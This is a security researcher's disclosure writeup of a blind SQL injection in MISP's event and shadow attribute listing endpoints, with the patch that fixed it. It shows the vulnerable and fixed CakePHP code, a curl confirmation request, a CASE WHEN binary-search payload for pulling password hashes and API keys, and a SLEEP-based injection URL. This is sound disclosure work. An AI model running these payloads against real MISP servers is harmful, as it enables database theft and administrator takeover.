Sorting Gone Wrong: SQL Injection in MISP's ORDER BY Handling
How I found and reported a blind SQL injection in MISP's event and shadow attribute listing endpoints through unsanitized ordering parameters.
MISP is the de facto open-source platform for sharing threat intelligence. CERTs, ISACs, and security teams globally use it to exchange indicators of compromise. This writeup covers a SQL injection I found in two of its listing endpoints that allowed any authenticated user, including read-only accounts, to extract the full contents of the underlying database.
How MISP handles sorting
MISP runs on CakePHP 2.x. Its REST API lets consumers paginate and sort results by passing parameters like sort, direction, limit, and order. The event index (POST /events/index) accepts these in the JSON request body. The shadow attributes index (GET /shadow_attributes/index) accepts them as URL named parameters.
Understanding how these parameters flow through the code is what led me to the vulnerability.
The first endpoint: /events/index
In EventsController.php, the sort parameter is handled correctly. The controller validates it against $fieldNames, a map of actual Event table columns, and restricts the direction to ASC or DESC:
if (isset($passedArgs['sort']) && isset($fieldNames[$passedArgs['sort']])) {
if (isset($passedArgs['direction'])
&& in_array(strtoupper($passedArgs['direction']), ['ASC', 'DESC'])) {
$rules['order'] = array('Event.' . $passedArgs['sort'] => $passedArgs['direction']);
} else {
$rules['order'] = array('Event.' . $passedArgs['sort'] => 'ASC');
}
}
This is safe. The result is a structured array that CakePHP handles correctly.
A few lines down, though, a separate loop processes pagination parameters and passes them into the query rules with no validation:
$paginationRules = array('page', 'limit', 'sort', 'direction', 'order');
foreach ($paginationRules as $paginationRule) {
if (isset($passedArgs[$paginationRule])) {
$rules[$paginationRule] = $passedArgs[$paginationRule];
}
}
The page and limit values are integers, so they're harmless. But order is a free-form string that gets passed directly to CakePHP's find('all', $rules), which places it verbatim into the SQL ORDER BY clause. This loop also runs after the safe sort handling above, so it overwrites the validated value with raw user input.
Confirming injection
The simplest confirmation is RAND():
curl -sk https://TARGET/events/index \
-H "Authorization: <read_only_api_key>" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-d '{"order":"RAND()","limit":5}'
Run this a few times. The event IDs come back in a different random order each time, confirming that user input controls the ORDER BY clause.
Extracting data with binary search
ORDER BY injection doesn't return query results inline, but it allows blind data extraction. The idea is to inject a CASE WHEN expression that sorts by different columns depending on a boolean condition derived from the target data:
{
"order": "CASE WHEN (SELECT ORD(SUBSTRING(password FROM 1)) FROM users LIMIT 1 OFFSET 0) BETWEEN 0 AND 63 THEN id ELSE date END",
"limit": 5
}
If the condition evaluates to true, results come back sorted by id. If false, sorted by date. The sort order is observable in the response, giving a one-bit oracle. Binary search narrows each character byte in about 7 requests.
In testing, extraction rates looked like this:
| Target | Length | Requests | Time |
|---|---|---|---|
users.email |
16 chars | 121 | 11s |
users.password (bcrypt hash) |
60 chars | 429 | 41s |
users.authkey (legacy API key) |
40 chars | 292 | 28s |
When legacy API keys are enabled, the authkey column stores them in plaintext. Extracting the site admin's key grants immediate full administrative access without any hash cracking.
The second endpoint: /shadow_attributes/index
After reporting the events endpoint, I audited related controllers and found the same vulnerability class in the shadow attributes listing. The sort URL parameter was concatenated directly into the order clause:
if (isset($this->request['named']['sort'])) {
$params['order'] = 'ShadowAttribute.' . $this->request['named']['sort'];
}
No validation at all. CakePHP's DboSource partially quotes strings containing dots (it backtick-wraps each segment), but anything after the field name is left unquoted:
GET /shadow_attributes/index/sort:id%20-%20SLEEP(1).json
Produces:
ORDER BY `ShadowAttribute`.`id` - SLEEP(1) ASC
SLEEP(1) executes once per row. With three shadow attribute records in the database, the response takes about three seconds. The same CASE WHEN extraction technique applies here.
Interestingly, the direction parameter on this endpoint was validated (hardcoded to ASC or DESC via a ternary). Only the field name was unvalidated.
Impact
From a read-only API key, an attacker can extract:
- Legacy API keys in plaintext, for immediate admin takeover
- Password hashes for offline cracking
- TOTP secrets to bypass two-factor authentication
- Sync server credentials to impersonate trusted peer MISP instances
- Cross-organization event data that the user should not have access to
- Session tokens from
cake_sessionsfor session hijacking
The fix
Both issues were fixed by Andras Iklody in commit 53fc6be, released as part of MISP v2.5.37.
For the events endpoint, order was removed from the unvalidated loop and routed through AppModel::findOrder():
$paginationRules = array('page', 'limit', 'sort', 'direction');
if (isset($passedArgs['order'])) {
$validatedOrder = $this->Event->findOrder(
$passedArgs['order'],
'Event',
array_keys($fieldNames)
);
if ($validatedOrder !== null) {
$rules['order'] = $validatedOrder;
}
}
findOrder() splits the order string, validates each field name against the model's database schema, normalizes direction to ASC/DESC, and returns null on any validation failure. This function already existed in the MISP codebase (used by restSearch() and other endpoints). It just hadn't been wired up to the event index.
For the shadow attributes endpoint, a schema allowlist was added:
$sortField = $this->request['named']['sort'];
$schema = $this->ShadowAttribute->schema();
if (isset($schema[$sortField])) {
$params['order'] = array('ShadowAttribute.' . $sortField => $sortDirection);
}
What to take away from this
The pattern here is worth looking at: sort was validated, but the separate order parameter was not. The safe code existed in the same controller, right above the vulnerable code. In the shadow attributes controller, direction was validated with a ternary, but sort was concatenated raw. These partial validations can create a false sense of security during code review. One parameter is handled correctly, so the adjacent one must be too, right?
ORDER BY injection is well-documented, but it remains underrepresented in automated scanning tools compared to WHERE clause injection. If you maintain a CakePHP (or any ORM-based) application, audit every code path where user input reaches an order or sort parameter. Not just the query conditions.